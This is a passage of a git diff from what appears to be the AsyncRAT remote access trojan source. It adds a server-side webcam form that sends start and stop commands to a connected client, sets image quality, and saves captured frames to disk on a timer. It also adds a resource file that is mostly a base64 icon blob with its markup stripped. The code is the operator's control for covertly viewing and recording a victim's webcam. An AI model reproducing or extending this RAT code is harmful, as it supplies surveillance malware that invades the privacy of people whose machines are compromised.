msgpack.ForcePathObject("Quality").AsInteger = Convert.ToInt32(numericUpDown1.Value); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + button1.Tag = (object)"stop"; + button1.BackgroundImage = Properties.Resources.stop__1_; + numericUpDown1.Enabled = false; + comboBox1.Enabled = false; + } + else + { + button1.Tag = (object)"play"; + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "stop"; + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); + button1.BackgroundImage = Properties.Resources.play_button; + btnSave.BackgroundImage = Properties.Resources.save_image; + numericUpDown1.Enabled = true; + comboBox1.Enabled = true; + timerSave.Stop(); + } + } + catch { } + } + + private void Timer1_Tick(object sender, EventArgs e) + { + try + { + if (!ParentClient.TcpClient.Connected || !Client.TcpClient.Connected) this.Close(); + } + catch { this.Close(); } + } + + private void FormWebcam_FormClosed(object sender, FormClosedEventArgs e) + { + try + { + Client?.Disconnected(); + } + catch { } + } + + private void BtnSave_Click(object sender, EventArgs e) + { + if (button1.Tag == (object)"stop") + { + if (SaveIt) + { + SaveIt = false; + //timerSave.Stop(); + btnSave.BackgroundImage = Properties.Resources.save_image; + } + else + { + btnSave.BackgroundImage = Properties.Resources.save_image2; + try + { + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); + Process.Start(FullPath); + } + catch { } + SaveIt = true; + // timerSave.Start(); + } + } + } + + private void TimerSave_Tick(object sender, EventArgs e) + { + try + { + if (!Directory.Exists(FullPath)) + Directory.CreateDirectory(FullPath); + pictureBox1.Image.Save(FullPath + $"\\IMG_{DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss")}.jpeg", ImageFormat.Jpeg); + } + catch { } + } + } +} diff --git a/AsyncRAT-C#/Server/Forms/FormWebcam.resx b/AsyncRAT-C#/Server/Forms/FormWebcam.resx new file mode 100644 index 0000000..e5b63af --- /dev/null +++ b/AsyncRAT-C#/Server/Forms/FormWebcam.resx @@ -0,0 +1,583 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + 131, 17 + + + + + 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 + O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt + 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx + AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx + AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919 + AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx + AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff + wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19 + ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg + x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt + Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx + AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp + Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919 + AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+ + /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19 + AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V + tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D + DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19 + AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19 + AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx + AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx + AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA + AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA + AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx + ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx + AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8 + AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919 + AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx + AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7 + AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv + AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx + Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys + a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918 + AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw + AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19 + AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx + AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19 + AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz + AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA + AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A + Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx + AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be + v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx + AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW//// + /////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917 + AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919 + AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db + v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3XsA/+ilUP/++/b///////jmzv/ghxj/2nkA/8ZxAP/Fdgz/7ti5//// + ///+/fz/26ll/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQC4w3EAB8NxAADdfQAA3X0AB919 + ALbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfAD/34UQ//ffwP///////v37/+msXP/aegD/xnEA/9KW + RP/8+PL///////Tm0v/Jfxv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAM3DcQARw3EAAN19 + AADdfQAQ3X0AzN19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/6rBm///+/P//////9diy/9yA + Cf/HcwL/58aZ////////////4LZ9/8NwAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA38Nx + AB/DcQAA3X0AAN19AB3dfQDe3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918AP/gihv/+ejS//// + ///99+7/4pg5/9CHJf/47uH///////ju4f/NiCn/wnAA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQDtw3EAMMNxAADdfQAA3X0ALt19AOzdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918 + AP/uvH3////////////txI3/47R2////////////5sOV/8NyAv/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAPfDcQBEw3EAAN19AADdfQBD3X0A9t19AP/dfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3XwA/+KRKf/78OH///////vx5f/47d7///////v17f/Rkjv/wm8A/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxAFzDcQAA3X0AAN19AFrdfQD93X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0C//HIlP//////////////////////69Cs/8V1B//DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAdcNxAADdfQAA3X0Ac919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/5Zo7//327f////////////369v/WnVD/wm8A/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQCOw3EAAN19AADdfQCM3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/egAf/9NSq////////////8NzA/8d5 + EP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0AA919 + AKbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/917AP/npE7//vr2//7+ + /f/bqmb/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAv8Nx + AAzdfQAF3X0Akt19APLdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3XwA/9+E + D//338H/9ejW/8mAG//DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + APXDcQCnw3EAD919AADdfQAM3X0AOt19AIPdfQDL3X0A9d19AP/dfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3XsA/+uwZf/gtXv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA+MNx + ANLDcQCNw3EAQsNxABDDcQAAAAAAAAAAAADdfQAA3X0AAN19ABLdfQBH3X0Ak919ANbdfQD53X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3YQQ/8t9FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD7w3EA3MNx + AJzDcQBQw3EAF8NxAAHDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAC3X0AGt19 + AFXdfQCi3X0A4N19APzdfQD/3X0A/919AP/aewD/x3IA/8NxAP/DcQD/w3EA/8NxAP3DcQDmw3EAq8Nx + AF/DcQAgw3EAA8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADdfQAA3X0AAN19AATdfQAj3X0AY919AK/dfQDn3X0A/dt8AP/HcwD/w3EA/sNxAOvDcQC4w3EAbcNx + ACrDcQAGw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACN19ADXdfQCD2nwA2MhzAN/DcQCPw3EAPcNx + AAzDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/+B///+AH///A + A///AAD//AAAP/AAAA/gAAAH4AAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAABwAAAAYAA + AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAAAAAAAAAAAACAAAAB8AAAB/wAAD//gAH///AP/ygA + AAAwAAAAYAAAAAEAIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19 + AADdfQAE3n0AP9p8ALrIdADMwnEAU8NxAAnDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADdfQAA3X0AAd19ACbdfQCM3X0A5tt8AP/IcwD/w3EA8MNxAKHDcQA2w3EAA8NxAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA3X0AAN19AADdfQAa3X0Ad919ANvdfQD+3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQDnw3EAjMNx + ACbDcQABw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAN19AADdfQAA3X0AD919AGDdfQDM3X0A/N19AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8Nx + AP/DcQD/w3EA/sNxANvDcQB2w3EAGcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AAjdfQBL3X0Aud19APjdfQD/3X0A/919AP/dfQD/3X0A/9t8 + AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD8w3EAy8NxAF/DcQAPw3EAAMNxAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3X0AON19AKXdfQDy3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPjDcQC4w3EASsNx + AAjDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAd19ACjdfQCP3X0A6d19AP/dfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA8sNxAKTDcQA3w3EAA8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAa3X0AeN19ANzdfQD/3X0A/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQDow3EAjsNxACfDcQABw3EAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGLdfQDN3X0A/d19 + AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxANzDcQB3w3EAGsNx + AADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AAndfQBN3X0Au919 + APndfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8 + AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD8w3EAzMNxAGHDcQAQw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AB919 + AJDdfQD03X0A/919AP/dfQD/3X0B/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919 + AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/w3EB/8NxAP/DcQD/w3EA/8NxAPnDcQCuw3EAFcNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AADdfQAA3X0AGN19ANbdfQD/3X0A/919AP/dfgP/67Fn//LOn//yzJz/8syc//LNnv/npU//3XwA/919 + AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/wnAA/9GS + PP/ox5v/6Mic/+jInP/oyZ7/37N4/8V2Cf/DcQD/w3EA/8NxAP/DcQDuw3EAM8NxAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAADdfQAA3X0AJ919AObdfQD/3X0A/919AP/dfAD/6rBl///9/P////////////// + ///23b3/34MN/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8Nx + AP/DcQD/xHME/+nLov//////////////////////4rmC/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAR8Nx + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AOt19APLdfQD/3X0A/919AP/dfAD/4IkZ//nm + z//////////////////9+PL/5p9D/917AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8Nx + AP/DcQD/w3EA/8NxAP/CcAD/zYks//nw5P/////////////////47+L/zYks/8JwAP/DcQD/w3EA/8Nx + AP/DcQD+w3EAX8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AUN19APrdfQD/3X0A/919 + AP/dfQD/3XwA/+26ef//////////////////////8cmV/919Af/dfQD/3X0A/919AP/dfQD/3X0A/9t8 + AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/CcAD/37N3///////////////////////mxZf/w3IC/8Nx + AP/DcQD/w3EA/8NxAP/DcQD/w3EAeMNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AaN19 + AP/dfQD/3X0A/919AP/dfQD/3XwA/+KQJ//77t7/////////////////+u3c/+KOI//dfAD/3X0A/919 + 